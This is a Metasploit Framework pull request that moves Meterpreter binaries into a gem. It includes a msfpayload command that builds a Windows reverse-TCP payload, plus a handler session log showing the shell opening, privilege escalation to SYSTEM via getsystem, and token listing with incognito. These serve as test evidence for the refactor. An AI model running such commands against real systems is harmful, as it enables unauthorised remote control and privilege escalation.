rapid7/metasploit-framework — pull request #2885 by OJ (2014-01-15 09:04:26+00:00)
Title: Meterpreter binaries gemification

This removes the *.dll, *.lso and *.bin files from the data/meterpreter folder and moves them into a gem. The code that referenced those things directly via the data_directory configuration setting have been updated to use the new gem, called `meterpreter_binaries` which can be found in the meterpreter_binaries repo.

I didn't move the exe, py, jar, php, etc over, just the Windows and POSIX binaries given that 1) they're the most turbulent, 2) they're the biggest and 3) they're binary.

To move all the binary stuff over to this (including jar files) we'll have to get a bit smarter with the structure (thanks to the likes of android).

This includes v 0.0.2 of the gem, [details over here](https://github.com/rapid7/meterpreter_binaries/pull/1), and the gem includes metadata of which commit range is included.

Installation:
```
➜ metasploit-framework git:(meterpreter_binaries_gemification) $ bundle install
Fetching gem metadata from https://rubygems.org/.........
Fetching gem metadata from https://rubygems.org/..
Using rake (10.1.0)
Using i18n (0.6.5)
Using multi_json (1.0.4)
Using activesupport (3.2.14)
Using builder (3.0.4)
Using activemodel (3.2.14)
Using arel (3.0.2)
Using tzinfo (0.3.37)
Using activerecord (3.2.14)
Using bcrypt-ruby (3.1.2)
Using database_cleaner (1.1.1)
Using diff-lcs (1.2.4)
Using factory_girl (4.2.0)
Using fivemat (1.2.1)
Using json (1.8.0)
Using pg (0.16.0)
Using metasploit_data_models (0.16.9)
Installing meterpreter_binaries (0.0.3) <== ooooh!
Using mini_portile (0.5.1)
Using msgpack (0.5.5)
Using network_interface (0.0.1)
Using nokogiri (1.6.0)
Using packetfu (1.1.9)
Using pcaprub (0.11.3)
Using redcarpet (3.0.0)
Using robots (0.10.1)
Using rspec-core (2.14.5)
Using rspec-expectations (2.14.2)
Using rspec-mocks (2.14.3)
Using rspec (2.14.1)
Using shoulda-matchers (2.3.0)
Using simplecov-html (0.5.3)
Using simplecov (0.5.4)
Using timecop (0.6.3)
Using yard (0.8.7)
Using bundler (1.3.5)
Your bundle is complete!
Use `bundle show [gemname]` to see where a bundled gem is installed.
```

Proof there's no bins:
```
➜ metasploit-framework git:(meterpreter_binaries_gemification) $ ll data/meterpreter
total 1080
-rw-rw-r--. 1 oj oj 38782 Jan 15 14:06 ext_server_stdapi.jar
-rwxrwxr-x. 1 oj oj 38568 Dec 10 20:58 ext_server_stdapi.php
-rw-rw-r--. 1 oj oj 35824 Dec 10 20:58 ext_server_stdapi.py
-rwxrwxr-x. 1 oj oj 798208 Jan 15 08:58 metcli.exe
-rw-rw-r--. 1 oj oj 24427 Jan 15 14:05 meterpreter.jar
-rwxrwxr-x. 1 oj oj 39848 Jan 15 14:05 meterpreter.php
-rw-rw-r--. 1 oj oj 14779 Jan 15 09:24 meterpreter.py
-rwxrwxr-x. 1 oj oj 61440 Jan 15 08:58 metsvc.exe
-rwxrwxr-x. 1 oj oj 45056 Jan 15 08:58 metsvc-server.exe
```

Sample run of payload generation:
```
➜ metasploit-framework git:(meterpreter_binaries_gemification) $ msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.10.40 LPORT=8000 X > /tmp/foo.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"10.1.10.40", "LPORT"=>"8000"}
```

Sample run of handling a shell, with tab-completion of extensions and loading:
```
➜ metasploit-framework git:(meterpreter_binaries_gemification) ✗ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.1.10.40 LPORT=8000 E
[*] Initializing modules...
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.1.10.40
LPORT => 8000
[*] Started reverse handler on 10.1.10.40:8000
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.1.10.48
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.48:4240) at 2014-01-15 18:58:06 +1000

meterpreter > getuid
Server username: OJ-DFE0B6FE1959\bob
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use
use espia use incognito use mimikatz use sniffer
use extapi use lanattacks use pivot
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
OJ-DFE0B6FE1959\bob

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
```

And hopefully we're done. This PR, when landed, will include the latest Meterpreter binaries, and should unlock #2736

### Verification
- [ ] x86 Windows Meterpreter works
- [ ] x64 Windows Meterpreter works
- [ ] x86 POSIX Meterpreter works
- [ ] Python Meterpreter works
- [ ] Java Meterpreter works
- [ ] PHP Meterpreter works
- [ ] msfpayload works
- [ ] `getsystem` works (uses `elevate.x??.dll`)
- [ ] `screenshot` works (uses `screenshot.x??.dll`)
- [ ] metsrv script works